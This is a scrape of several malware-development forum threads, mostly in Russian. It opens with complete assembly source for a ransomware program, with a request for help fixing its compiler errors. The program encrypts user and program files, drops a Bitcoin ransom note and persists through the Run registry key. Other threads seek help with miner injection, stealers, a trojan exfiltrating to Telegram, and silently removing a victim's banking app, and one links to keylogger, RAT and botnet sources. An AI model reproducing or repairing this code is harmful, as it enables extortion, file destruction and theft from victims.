includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
include \masm32\include\advapi32.inc

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
FindMe PROTO, Path:DWORD, filter:DWORD
XorCrypt PROTO, lpBytes:PTR BYTE, dwFileSize:DWORD
DoWarning PROTO

.data?
fd WIN32_FIND_DATA <>
buffer db 256 dup(?)
HKey dd ?
namebuf db MAX_PATH dup(?)
hInstance HINSTANCE ?
CommandLine LPSTR ?

.data
TheString db '*',0
spec1 db "%s%s", 0
spec2 db "", 0

file_name db "Attention_WARNING_READ_ME_ACHTUNG_HOLA_YO", 0
SubKey1 db "Software\Microsoft\Windows\CurrentVersion\Run",0

MessageRans db "Hello, your important data was encrypted by a Ransomware!", 10, 13,
"I hope you understand this is not personnal, After the paiement I will decrypt all your data. Also apologize for the inconvenient. To decrypt your data, please send 0.07 BTC to the Bitcoin Wallet : 1488Hentai228Loli", 10,13, "And Contact the follow mail with your paiement proof : @protonmail.com", 0

key DWORD 12345678901234567890123456789012345678901234567890

OSPath1 db "USERPROFILE", 0
Desk db "\Desktop", 0
FullPath1 db 260 dup(0)

FullPath2 db "C:\Program Files", 0

FullPath3 db "C:\Program Files (x86)", 0

OSPath4 db "APPDATA", 0
FullPath4 db 260 dup(0)

OSPath5 db "LOCALAPPDATA", 0
FullPath5 db 260 dup(0)

.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke GetCommandLine
invoke WinMain, hInstance ,NULL, CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc, hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD

invoke GetEnvironmentVariable, addr OSPath1, addr FullPath1, 260
invoke lstrcatA, addr FullPath1, offset Desk
invoke FindMe, addr FullPath1, addr TheString

invoke FindMe, addr FullPath2, addr TheString

invoke FindMe, addr FullPath3, addr TheString

invoke GetEnvironmentVariable, addr OSPath4, addr FullPath4, 260
invoke lstrcatA, addr FullPath4, offset spec2
invoke FindMe, addr FullPath4, addr TheString

invoke GetEnvironmentVariable, addr OSPath5, addr FullPath5, 260
invoke lstrcatA, addr FullPath5, offset spec2
invoke FindMe, addr FullPath5, addr TheString

invoke DoWarning

ret
WinMain endp

XorCrypt PROC, lpBytes:PTR BYTE, dwFileSize:DWORD
cmp dwFileSize, 0
jz noXor
mov ecx, 0
mov eax, lpBytes
mov dh, 10h
mov dl, BYTE PTR [key]
@@:
add [eax+ecx], dh
xor [eax+ecx], dl
inc ecx
cmp ecx, dwFileSize
jne @b

noXor:
ret
XorCrypt ENDP

FindMe PROC, Path:DWORD, filter:DWORD
LOCAL PathName[256]:byte
LOCAL buffer1[256]:byte
LOCAL hFind:DWORD
LOCAL dwTemp:DWORD
LOCAL Buffer:PTR BYTE
LOCAL hFile:PTR DWORD

invoke lstrcpy, addR PathName, Path
invoke lstrcat, addr PathName, filter
invoke FindFirstFile, addr PathName, addr fd
mov hFind, eax
.if hFind == -1
ret
.endif

.while eax > 0
invoke wsprintfA, addr buffer1, addr spec1, Path, addr fd.cFileName
cmp fd.cFileName, "."
jz nextf
test fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY
jz itsafile
invoke lstrcatA, addr buffer1, addr spec2
invoke FindMe,addr buffer1, filter
jmp nextf
itsafile:
; invoke MessageBoxA, 0, addr buffer1, 0, 0

invoke CreateFileA, addr buffer1, 80000000h or 40000000h, 0, 0, 3, 0, 0
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke GetFileSize, hFile, 0
mov ebx, eax
.IF ebx>268435456
ret
.ENDIF
invoke GetProcessHeap
invoke HeapAlloc, eax, 8h, ebx
mov Buffer, eax
invoke ReadFile, hFile, Buffer, ebx, addr dwTemp, 0
.IF eax == 0
jmp EndEnc
.ENDIF

xor eax, eax
invoke XorCrypt, Buffer, ebx
mov esi, eax
mov [dwTemp], 0
invoke SetFilePointer, hFile, 0, 0, 0
invoke WriteFile, hFile, esi, ebx, addr dwTemp, 0
EndEnc:
invoke CloseHandle, hFile
invoke GetProcessHeap
invoke HeapFree, eax, 0, Buffer
;invoke MessageBox,0, addr buffer1, 0, 0
nextf:
invoke FindNextFile, hFind, addr fd
.endw
invoke FindClose,hFind
ret
FindMe endp

DoWarning PROC
LOCAL hFile:PTR DWORD
LOCAL dwTemp:DWORD

invoke lstrcatA, addr FullPath1, offset file_name
invoke CreateFileA, offset FullPath1, 40000000h, 0, 0, CREATE_ALWAYS, 0, 0
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke lstrlenA, offset MessageRans
mov ebx, eax
invoke WriteFile, hFile, offset MessageRans, ebx, addr dwTemp, 0
invoke CloseHandle, hFile

invoke RegCreateKey, HKEY_CURRENT_USER,addr SubKey1, addr HKey
invoke GetModuleFileName, 0, addr namebuf, MAX_PATH
invoke RegSetValueEx, HKey, addr namebuf, 0, REG_SZ, ADDR FullPath1, eax
invoke RegCloseKey, HKey

invoke MessageBoxA, 0, offset MessageRans, 0, 00000040h
ret
DoWarning ENDP

end start

------------------------ Errors I have maybe you know that shit and how to repare..

finalrantestacompiler.asm:1: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:2: error: parser: instruction expected
finalrantestacompiler.asm:3: error: parser: instruction expected
finalrantestacompiler.asm:4: error: parser: instruction expected
finalrantestacompiler.asm:5: error: parser: instruction expected
finalrantestacompiler.asm:6: error: parser: instruction expected
finalrantestacompiler.asm:7: error: parser: instruction expected
finalrantestacompiler.asm:8: error: parser: instruction expected
finalrantestacompiler.asm:9: error: parser: instruction expected
finalrantestacompiler.asm:10: error: parser: instruction expected
finalrantestacompiler.asm:11: error: parser: instruction expected
finalrantestacompiler.asm:12: error: parser: instruction expected
finalrantestacompiler.asm:14: error: parser: instruction expected
finalrantestacompiler.asm:15: error: parser: instruction expected
finalrantestacompiler.asm:16: error: parser: instruction expected
finalrantestacompiler.asm:17: error: parser: instruction expected
finalrantestacompiler.asm:19: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:20: error: parser: instruction expected
finalrantestacompiler.asm:23: error: non-constant argument supplied to DUP
finalrantestacompiler.asm:24: error: parser: instruction expected
finalrantestacompiler.asm:25: error: parser: instruction expected
finalrantestacompiler.asm:27: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:36: error: label or instruction expected at start of line
finalrantestacompiler.asm:38: error: parser: instruction expected
finalrantestacompiler.asm:54: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:56: error: parser: instruction expected
finalrantestacompiler.asm:58: error: parser: instruction expected
finalrantestacompiler.asm:59: error: parser: instruction expected
finalrantestacompiler.asm:60: error: parser: instruction expected
finalrantestacompiler.asm:61: error: label WinMain' inconsistently redefined finalrantestacompiler.asm:14: info: label WinMain' originally defined here
finalrantestacompiler.asm:61: error: parser: instruction expected
finalrantestacompiler.asm:63: error: parser: instruction expected
finalrantestacompiler.asm:64: error: parser: instruction expected
finalrantestacompiler.asm:65: error: parser: instruction expected
finalrantestacompiler.asm:67: error: parser: instruction expected
finalrantestacompiler.asm:69: error: parser: instruction expected
finalrantestacompiler.asm:71: error: parser: instruction expected
finalrantestacompiler.asm:72: error: parser: instruction expected
finalrantestacompiler.asm:73: error: parser: instruction expected
finalrantestacompiler.asm:75: error: parser: instruction expected
finalrantestacompiler.asm:76: error: parser: instruction expected
finalrantestacompiler.asm:77: error: parser: instruction expected
finalrantestacompiler.asm:79: error: parser: instruction expected
finalrantestacompiler.asm:82: error: label WinMain' inconsistently redefined finalrantestacompiler.asm:61: info: label WinMain' originally defined here
finalrantestacompiler.asm:82: error: parser: instruction expected
finalrantestacompiler.asm:84: error: label XorCrypt' inconsistently redefined finalrantestacompiler.asm:16: info: label XorCrypt' originally defined here
finalrantestacompiler.asm:84: error: parser: instruction expected
finalrantestacompiler.asm:90: warning: PTR' is not a NASM keyword [-w+ptr] finalrantestacompiler.asm:100: error: label XorCrypt' inconsistently redefined
finalrantestacompiler.asm:84: info: label XorCrypt' originally defined here finalrantestacompiler.asm:100: error: parser: instruction expected finalrantestacompiler.asm:102: error: label FindMe' inconsistently redefined
finalrantestacompiler.asm:15: info: label FindMe' originally defined here finalrantestacompiler.asm:102: error: parser: instruction expected finalrantestacompiler.asm:103: error: parser: instruction expected finalrantestacompiler.asm:104: error: parser: instruction expected finalrantestacompiler.asm:105: error: parser: instruction expected finalrantestacompiler.asm:106: error: parser: instruction expected finalrantestacompiler.asm:107: error: parser: instruction expected finalrantestacompiler.asm:108: error: parser: instruction expected finalrantestacompiler.asm:110: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:56: info: label invoke' originally defined here finalrantestacompiler.asm:110: error: parser: instruction expected finalrantestacompiler.asm:111: error: parser: instruction expected finalrantestacompiler.asm:112: error: parser: instruction expected finalrantestacompiler.asm:114: error: parser: instruction expected finalrantestacompiler.asm:116: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:118: error: parser: instruction expected finalrantestacompiler.asm:119: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:110: info: label invoke' originally defined here finalrantestacompiler.asm:119: error: parser: instruction expected finalrantestacompiler.asm:124: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:119: info: label invoke' originally defined here finalrantestacompiler.asm:124: error: parser: instruction expected finalrantestacompiler.asm:125: error: parser: instruction expected finalrantestacompiler.asm:130: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:124: info: label invoke' originally defined here finalrantestacompiler.asm:130: error: parser: instruction expected finalrantestacompiler.asm:131: error: parser: instruction expected finalrantestacompiler.asm:133: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:135: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:130: info: label invoke' originally defined here finalrantestacompiler.asm:135: error: parser: instruction expected finalrantestacompiler.asm:137: error: label invoke.IF' inconsistently redefined
finalrantestacompiler.asm:131: info: label invoke.IF' originally defined here finalrantestacompiler.asm:137: error: parser: instruction expected finalrantestacompiler.asm:139: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:139: error: label invoke.ENDIF' inconsistently redefined
finalrantestacompiler.asm:133: info: label invoke.ENDIF' originally defined here finalrantestacompiler.asm:140: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:135: info: label invoke' originally defined here finalrantestacompiler.asm:140: error: parser: instruction expected finalrantestacompiler.asm:141: error: parser: instruction expected finalrantestacompiler.asm:143: error: parser: instruction expected finalrantestacompiler.asm:144: error: label invoke.IF' inconsistently redefined
finalrantestacompiler.asm:137: info: label invoke.IF' originally defined here finalrantestacompiler.asm:144: error: parser: instruction expected finalrantestacompiler.asm:146: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:146: error: label invoke.ENDIF' inconsistently redefined
finalrantestacompiler.asm:139: info: label invoke.ENDIF' originally defined here finalrantestacompiler.asm:149: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:140: info: label invoke' originally defined here finalrantestacompiler.asm:149: error: parser: instruction expected finalrantestacompiler.asm:152: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:149: info: label invoke' originally defined here finalrantestacompiler.asm:152: error: parser: instruction expected finalrantestacompiler.asm:153: error: parser: instruction expected finalrantestacompiler.asm:155: error: parser: instruction expected finalrantestacompiler.asm:156: error: parser: instruction expected finalrantestacompiler.asm:157: error: parser: instruction expected finalrantestacompiler.asm:160: error: parser: instruction expected finalrantestacompiler.asm:161: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:162: error: parser: instruction expected finalrantestacompiler.asm:164: error: label FindMe' inconsistently redefined
finalrantestacompiler.asm:102: info: label FindMe' originally defined here finalrantestacompiler.asm:164: error: parser: instruction expected finalrantestacompiler.asm:166: error: label DoWarning' inconsistently redefined
finalrantestacompiler.asm:17: info: label DoWarning' originally defined here finalrantestacompiler.asm:166: error: parser: instruction expected finalrantestacompiler.asm:167: error: label LOCAL' inconsistently redefined
finalrantestacompiler.asm:103: info: label LOCAL' originally defined here finalrantestacompiler.asm:167: error: parser: instruction expected finalrantestacompiler.asm:168: error: parser: instruction expected finalrantestacompiler.asm:170: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:152: info: label invoke' originally defined here finalrantestacompiler.asm:170: error: parser: instruction expected finalrantestacompiler.asm:171: error: parser: instruction expected finalrantestacompiler.asm:172: error: label invoke.IF' inconsistently redefined
finalrantestacompiler.asm:144: info: label invoke.IF' originally defined here finalrantestacompiler.asm:172: error: parser: instruction expected finalrantestacompiler.asm:174: warning: label alone on a line without a colon might be in error [-w+label-orphan] finalrantestacompiler.asm:174: error: label invoke.ENDIF' inconsistently redefined
finalrantestacompiler.asm:146: info: label invoke.ENDIF' originally defined here finalrantestacompiler.asm:176: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:170: info: label invoke' originally defined here finalrantestacompiler.asm:176: error: parser: instruction expected finalrantestacompiler.asm:178: error: label invoke' inconsistently redefined
finalrantestacompiler.asm:176: info: label invoke' originally defined here finalrantestacompiler.asm:178: error: parser: instruction expected finalrantestacompiler.asm:179: error: parser: instruction expected finalrantestacompiler.asm:181: error: parser: instruction expected finalrantestacompiler.asm:182: error: parser: instruction expected finalrantestacompiler.asm:183: error: parser: instruction expected finalrantestacompiler.asm:184: error: parser: instruction expected finalrantestacompiler.asm:186: error: parser: instruction expected finalrantestacompiler.asm:188: error: label DoWarning' inconsistently redefined
finalrantestacompiler.asm:166: info: label `DoWarning' originally defined here
finalrantestacompiler.asm:188: error: parser: instruction expected
finalrantestacompiler.asm:190: error: parser: instruction expected

telegram bot
ID: 6765d804b4103b69df3756a8
Thread ID: 125016
Created: 2024-10-17T20:07:33+0000
Last Post: 2024-10-19T19:48:49+0000
Author: SlEpOy_SnIpEr
Replies: 10 Views: 870

Здравствуйте всем! Нашел троян/вирус, который выполняет определенные действия и отправляет данные боту в телеграм. Смог достать api токен этого бота телеграмм и есть id чата, куда отправляются сообщения. Возможно ли прочитывать то, что отправляет боту вирус?

[C++] [ImGui] Falling Snow Effect | Эффект падающего снега [Searching/В поиске]
ID: 6765d804b4103b69df37584b
Thread ID: 77533
Created: 2022-12-06T20:01:44+0000
Last Post: 2022-12-13T13:14:12+0000
Author: uglydavidka
Replies: 5 Views: 868

Нужно реализовать эффект падающего снега на моей ImGui меню.

[C++] & [VB6] CRYPTER , BINDER, BOTNETS SOURCE CODE for educational purpose
ID: 6765d804b4103b69df375a36
Thread ID: 40891
Created: 2020-08-14T04:27:26+0000
Last Post: 2020-08-14T04:27:26+0000
Author: ron
Replies: 0 Views: 867

Hello Everyone

THESE ARE C ++ & VB6 SOURCES - COMPILE IT AND ENJOY!

[LIKES = 2] https://www.up-4ever.org/x25alkmltfeo [/ LIKES]
SIZE == 329 MB
SOURCE CODE FOR SOME OF THEM LIKE

(1) keyloggers
(2) crypters
(3) botnets
(4) binders
(5) rats
LIKES
?

Как сделать запуск exe при старте проекта в VS?
ID: 6765d804b4103b69df375995
Thread ID: 52888
Created: 2021-06-13T11:10:30+0000
Last Post: 2021-06-13T18:57:21+0000
Author: Ingiborga
Replies: 4 Views: 866

Я где то видел реализацию и потерял не могу нагуглить. И вроде на этом форуме видал.
При старте проекта .sln стартанет твой exe типо макроса в ворде. Знаю что есть выполнение до/после сборки но это не то что мне надо.

Как вызвать tls callback или как заинжектить майнер(64) в 64-битное приложение?
ID: 6765d804b4103b69df375897
Thread ID: 69422
Created: 2022-06-29T23:34:24+0000
Last Post: 2022-08-28T08:40:38+0000
Author: IPirateS6
Replies: 15 Views: 866

Несколько месяцев назад я создал тему по поводу runpe инжекта x32->x64 майнера xmrig. Решение в итоге оказалось очень нестабильным (из-за отсутствия работы с релоками и tls callback). Вот только что добавил поддержку релоков, протестил на калькуляторе (заинжектил 64-битный calc.exe в 64-битный Process Hacker) и всё сработало на ура. Но ни у calc.exe, ни у process hacker'а не было tls callback'ов. Так вот вопрос: как вызвать эти зло*бучие колбэки? В который раз загуглив доку в мсдн по pe формату я посмотрел что колбэк имеет следующий формат:

C:Copy to clipboard

typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
    PVOID DllHandle,
    DWORD Reason,
    PVOID Reserved
    );

Как вызвать его в другом процессе через RtlCreateUserThread?

Немного отходя от темы, хочу упомянуть, что большинство кодеров .NET Miner'ов так и вовсе не заморачиваются ни с колбэками, ни с релоками, тупо анмап+запись+NtSetContextThread. И вроде как и никто не жалуется особо. Как пример можно рассмотреть майнеры от UnamSanctam на github.

C# GMH/GPA
ID: 6765d804b4103b69df3759eb
Thread ID: 46919
Created: 2021-01-18T04:50:39+0000
Last Post: 2021-01-18T19:28:11+0000
Author: hayincan
Replies: 5 Views: 864

Небольшой модуль для замены GetModuleHandle/GetProcAddress
Поддерживает x32/x64/AnyCpu
Требует C# 9.0
Компилится под 2.0-4.8.

Code:Copy to clipboard

    public unsafe class NativeModules
    {
        public static readonly delegate*<uint, void*> NativePointer;

        static NativeModules()
        {
            NativePointer = &NativeFunction;
            var memory = (byte*)NativePointer;
            if (IntPtr.Size == 4)
                *memory = 0x64;
            else
                *(short*)memory++ = 0x4865;
            *(int*)++memory = 0x00C3018B;
        }

        private static void* NativeFunction(uint offset)
        {
            return new IntPtr(offset).ToPointer();
        }

        private static IntPtr FindInList(void** list, int index, string module)
        {
            var entryOffset = index * IntPtr.Size;
            var currentList = &list[index];
            for (var listEntry = *currentList; listEntry != currentList; listEntry = *(void**) listEntry)
            {
                var entry = (void**)((byte*) listEntry - entryOffset);
                var str = new string((char*)entry[12], 0, *(ushort*)&entry[11] / 2);
                if (string.Compare(str, module, StringComparison.InvariantCultureIgnoreCase) == 0)
                    return new IntPtr(entry[6]);
            }
            return IntPtr.Zero;
        }

        public static IntPtr FindModule(string name)
        {
            var list = IntPtr.Size == 4
                ? &((void***) NativePointer(0x30))[3][3]
                : &((void***) NativePointer(0x60))[3][2];
            if (name == null)
                return new IntPtr(((void**)((byte*)list[2] - 2 * IntPtr.Size))[6]);
            for (var i = 0; i < 6; i+=2)
            {
                var module = FindInList(list, i, name);
                if (module != IntPtr.Zero)
                    return module;
            }
            return IntPtr.Zero;
        }

        public static IntPtr FindProcAddress(IntPtr handle, string procName)
        {
            if (handle == IntPtr.Zero || procName == null) return IntPtr.Zero;
            var image = (byte*) handle.ToPointer();
            var exportDir = image + *(int*) (image + *(int*) (image + 60) + (IntPtr.Size == 4 ? 120 : 136));
            var names = image + *(int*) (exportDir + 32);
            var namesCount = *(int*) (exportDir + 24);
            for (int i = 0, offset = 0; i < namesCount; i++, offset += 4)
            {
                if (string.Compare(new string((sbyte*) (image + *(int*) (names + offset))), procName,
                    StringComparison.InvariantCultureIgnoreCase) == 0)
                    return new IntPtr(image + *(int*) (image + *(int*) (exportDir + 28) +
                                                       (*(short*) (image + *(int*) (exportDir + 36) + (i << 1)) << 2)));
            }

            return IntPtr.Zero;
        }
    }
[HELP] - Compile Time String Obfuscation
ID: 6765d804b4103b69df375a1b
Thread ID: 42789
Created: 2020-10-03T05:14:35+0000
Last Post: 2020-10-03T07:01:05+0000
Author: plexus
Replies: 2 Views: 862

#English:
Hello, I am currently attempting to obfuscate my strings which are embedded in my code. I've been reading up on this however I've found very little when it comes to hiding strings at compile time for C. My goal is to take something like:

Code:Copy to clipboard

#define string "test"

and have it be hidden from the text editor, I found a few libraries already from a google search: [https://www.blackhat.com/docs/eu-14...amming-Applied- To-software-Obfuscation- wp.pdf](https://www.blackhat.com/docs/eu-14/materials/eu-14-Andrivet-C-plus- plus11-Metaprogramming-Applied-To-software-Obfuscation-wp.pdf)

github.com

[ xorstr/include/xorstr.h at master · qis/xorstr

](https://github.com/qis/xorstr/blob/master/include/xorstr.h)

A simple constexpr string literal obfuscator. Contribute to qis/xorstr development by creating an account on GitHub.

github.com github.com

github.com

[ GitHub - fritzone/obfy: A tiny C++ obfuscation framework

](https://github.com/fritzone/obfy)

A tiny C++ obfuscation framework. Contribute to fritzone/obfy development by creating an account on GitHub.

github.com github.com

however many of these include to many dependencies or are C++ based. What single C headers do you use for this?

pointing me even in the right direction would be appreciated :)

#Russian:
Здравствуйте, В настоящее время я пытаюсь запутать свои строки, которые встроены в мой код. Я читал об этом, однако я нашел очень мало, когда дело доходит до скрытия строк во время компиляции для C. моя цель состоит в том, чтобы взять что-то вроде:

Code:Copy to clipboard

#define string "test"

и пусть он будет скрыт от текстового редактора, я уже нашел несколько библиотек из поиска google: [https://www.blackhat.com/docs/eu-14...amming- Applied-To-software-Obfuscation- wp.pdf](https://www.blackhat.com/docs/eu-14/materials/eu-14-Andrivet-C-plus- plus11-Metaprogramming-Applied-To-software-Obfuscation-wp.pdf)

github.com

[ xorstr/include/xorstr.h at master · qis/xorstr

](https://github.com/qis/xorstr/blob/master/include/xorstr.h)

A simple constexpr string literal obfuscator. Contribute to qis/xorstr development by creating an account on GitHub.

github.com github.com

github.com

[ GitHub - fritzone/obfy: A tiny C++ obfuscation framework

](https://github.com/fritzone/obfy)

A tiny C++ obfuscation framework. Contribute to fritzone/obfy development by creating an account on GitHub.

github.com github.com

однако многие из них относятся ко многим зависимостям или основаны на C++. Какие одиночные заголовки C вы используете?

было бы очень полезно указать мне даже правильное направление :)

Возможность удалить приложение (Android) Java
ID: 6765d804b4103b69df375a08
Thread ID: 45216
Created: 2020-12-06T06:23:05+0000
Last Post: 2020-12-06T06:23:05+0000
Author: LeXoR
Replies: 0 Views: 859

Всем доброго времени суток, кто знает можно ли удалить приложение на андроиде через shell или еще как без ведома пользователя, потому что через adb на виртуалке удаляет с правами юзера, а вот само приложение не может удалить, текст следуйщийScree.jpg

Как только и не пробовал, удалять скрывать данными командами
pm uninstall ru.sberbankmobile
pm uninstall --user 0 ru.sberbankmobile
pm disable ru.sberbankmobile
pm hide ru.sberbankmobile

Если кто знает способы как убрать приложение средствами Java или Shell, помогите буду благодарен))

CreateNamedPipeW vs CreateFileW (IOCP)
ID: 6765d804b4103b69df375823
Thread ID: 81601
Created: 2023-02-09T09:49:58+0000
Last Post: 2023-02-09T17:08:45+0000
Author: Encommerce
Replies: 9 Views: 859

Пишу модуль для многопоточного чтения/записи файлов с использованием портов завершения.
В качестве привязок можно использовать как CreateNamedPipeW, так и CreateFileW.
Что из этого на ваш взгляд предпочтительнее?

Какого писать стиллер на c#?
ID: 6765d804b4103b69df37574d
Thread ID: 104685
Created: 2023-12-26T08:05:47+0000
Last Post: 2024-01-15T22:07:10+0000
Author: barbarosa
Replies: 8 Views: 859

Всем привет! Часто вижу мнение людей что C# плох в малварь кодинге. Чем он плох? То что он не нативный? То что плохо криптуется? То что он медленнее чем тот же си или плюсы? То что размер на выходе больше чем у нативных языков? То что детектов больше? Объясните подробнее пожалуйста.

Разве нельзя написать стилер на C#, который смог бы конкурировать со стилерами на си и плюсах?

почему то не сравниваются 2 строки wchar_t в Kernel Driver
ID: 6765d804b4103b69df3756f7
Thread ID: 115410
Created: 2024-05-26T22:00:35+0000
Last Post: 2024-05-28T12:51:24+0000
Author: mddbs
Replies: 1 Views: 858

пробовал через wcscmp не получается
пробовал через преобразование wchar_t в UNICODE_STRING и там уже через RtlCompareUnicodeString не получается

C:Copy to clipboard

HANDLE GetProcessPid(wchar_t* name)
{
    PSYSTEM_PROCESS_INFO pInfo = (PSYSTEM_PROCESS_INFO)NQSI(SystemProcessInformation), pInfoCur = pInfo;
    pInfoCur->UniqueProcessId;
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    HANDLE pid;
    UNICODE_STRING uname1;
    UNICODE_STRING uname2;

    //Sleep(10000);
    RtlInitUnicodeString(&uname1, name);
    //DbgPrint("1.");
    while (TRUE)
    {

        const wchar_t* ProcessName = pInfoCur->ImageName.Buffer;
        if (MmIsAddressValid((PVOID)ProcessName) == TRUE) {

            //Sleep(10000);
            RtlInitUnicodeString(&uname2, ProcessName);
            //DbgPrint("2.");

            DbgPrint("Process Name: %ws\n", ProcessName);
            //Sleep(10000);
            if (RtlCompareUnicodeString(&uname1, &uname2, TRUE) == 0)
            {
                DbgPrint("3.");
                Sleep(10000);
                pid = pInfoCur->UniqueProcessId;
                KFree(pInfo);
                return pid;
            }
            else pInfoCur = (PSYSTEM_PROCESS_INFO)((ULONG64)pInfoCur + pInfoCur->NextEntryOffset);
        }
        else pInfoCur = (PSYSTEM_PROCESS_INFO)((ULONG64)pInfoCur + pInfoCur->NextEntryOffset);

    }
}

хотя строку находит

[C#] Mono.Cecil (часть 1) - библиотека и как с ней работать?
ID: 6765d804b4103b69df3757d4
Thread ID: 80560
Created: 2023-01-24T01:05:18+0000
Last Post: 2023-06-26T06:56:14+0000
Author: r3xq1
Prefix: Мануал/Книга
Replies: 5 Views: 858

Всем привет!
В этой теме Вы увидите как можно работать с библиотекой Mono.Cecil. - Данная библиотека работает только с исполняемыми файлами (.exe, .dll)
Установить данную библиотеку можно через Nuget

Spoiler: Информация о библиотеке: Mono.Cecil

Mono.Cecil — это библиотека, написанная на C#, которая предоставляет полную и точную, полнофункциональную библиотеку общего назначения для создания и проверки программ и библиотек в форме ECMA CIL.
Его можно использовать для различных задач, в том числе:
- Генерация сборок и модулей с нуля
- Генерация кода или данных, которые можно вставить в существующие сборки
- Проверка, анализ и модификация существующих сборок
- Декомпиляция существующих сборок и.т.д

Spoiler: Чем эта библиотека отличается от библиотеки dnlib ?

DNlib и Mono.Cecil — это библиотеки, используемые для модификации сборок .NET.
Однако DNlib более легкий и предоставляет больше возможностей для модификации сборок .NET, чем Mono.Cecil.
В частности, DNlib имеет функции для добавления, удаления и редактирования метаданных, а также для сжатия, шифрования и подписи.
Он также поддерживает .NET Core, .NET Standard и .NET Framework, тогда как Mono.Cecil имеет ограниченную поддержку только .NET Framework.

Spoiler: Как загрузить сборку через библиотеку Mono.Cecil?

Демонстрирую два варианта загрузки, 1- через ресурсы, 2-ой локально.

C#:Copy to clipboard

// Сначала загружаем в память файл из ресурсов StubDnlib - это .exe файл
using System.IO.MemoryStream memoryStream = new(Properties.Resources.StubDnlib);
// Читаем сборку из памяти
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(memoryStream, new ReaderParameters(ReadingMode.Immediate));

C#:Copy to clipboard

// Путь до файла
string path = @"D:\Projects\MonoProject\bin\Debug\myFile.exe";
// Читаем сборку
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(path, new ReaderParameters(ReadingMode.Immediate));

Описание классов и методов и.т.п:
AssemblyDefinition— это класс в библиотеке Mono.Cecil, который используется для представления сборки .NET.
Он содержит информацию о сборке, такую как имя, версия и токен открытого ключа, а также список модулей и ссылки на другие сборки.
Он также содержит корень древовидной структуры, содержащей все типы и элементы, определенные в сборке, а также методы, поля и свойства этих типов.
Этот класс также позволяет изменять содержимое сборки, предоставляя методы для добавления, удаления и замены типов, элементов и ссылок.
AssemblyDefinition.ReadAssembly() - используется для загрузки сборки из файла.
ReaderParameters- Этот класс используется для предоставления внешней сборке набора параметров, используемых библиотекой Mono.Cecil для чтения сборки.
ReadingMode.Immediate - этот параметр используется, когда требуется немедленный доступ к содержимому сборки.
В этом режиме библиотека Mono.Cecil будет читать сборку, как только ей будут переданы параметры, что обеспечивает быстрый доступ к содержимому.
В классе AssemblyDefinitionтак же существует ещё один метод CreateAssembly.
AssemblyDefinition.CreateAssembly- это метод, который используется для создания новой сборки.
Он принимает два параметра: имя и путь, по которому необходимо сохранить созданную сборку, а также принимает параметр для настройки атрибутов сборки и других параметров.
После создания сборки вы можете добавлять модули и типы в эту сборку, используя различные методы библиотеки.

Spoiler: Замена версии .Net Framework'a

C#:Copy to clipboard

// Читаем сборку
using AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(memoryStream, new ReaderParameters(ReadingMode.Immediate));
// Проверяем что в сборке есть атрибуты
if (assembly.CustomAttributes.Count > 0)
{
    // Проходимся по циклу и ищим нужный нам атрибут, в данном случае TargetFrameworkAttribute
    foreach (CustomAttribute attribute in assembly.CustomAttributes.Where(attribute => attribute.AttributeType.Name == "TargetFrameworkAttribute"))
    {
        // Заменяем значение атрибута на новую версию .NetFramework
        attribute.ConstructorArguments[0] = new CustomAttributeArgument(assembly.MainModule.TypeSystem.String, ".NETFramework,Version=v4.6.2"); // обязательно: .NETFramework,Version=vВашаВерсия
        assembly.EntryPoint.Module.RuntimeVersion = "v4.0.30319"; // "v4.0.30319"; // "v4.8.3928.0"
        assembly.EntryPoint.Module.Runtime = TargetRuntime.Net_4_0; // Максимальная Net_4_0
    }
}

или можно по аналогичной схеме сделать так:

C#:Copy to clipboard

// Перебираем все атрибуты
foreach (CustomAttribute list in assembly.CustomAttributes)
{
   /* Вывести список атрибутов: $"{list.AttributeType.Name}\r\n" */
 
   // Находим имя атрибута
   if (list.AttributeType.Name.Contains("TargetFrameworkAttribute"))
   {
      // Заменяем на нашу переменную типа String
      // через ветку реестра: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP - смотрим доступные версии .NetFramework, в случае не правильной версии, будет ошибка с уведомлением об установке новой версии пакета .NetFramework'a
      list.ConstructorArguments[0] = new CustomAttributeArgument(assembly.MainModule.TypeSystem.String, ".NETFramework,Version=v4.6.2");
      assembly.EntryPoint.Module.RuntimeVersion = "v4.0.30319"; // "v4.0.30319"; // "v4.8.3928.0"
      assembly.EntryPoint.Module.Runtime = TargetRuntime.Net_4_0; // Максимальная Net_4_0
   }
   // и.т.д с остальными атрибутами.
}

Через Linq

C#:Copy to clipboard

// Находим атрибут "TargetFrameworkAttribute"
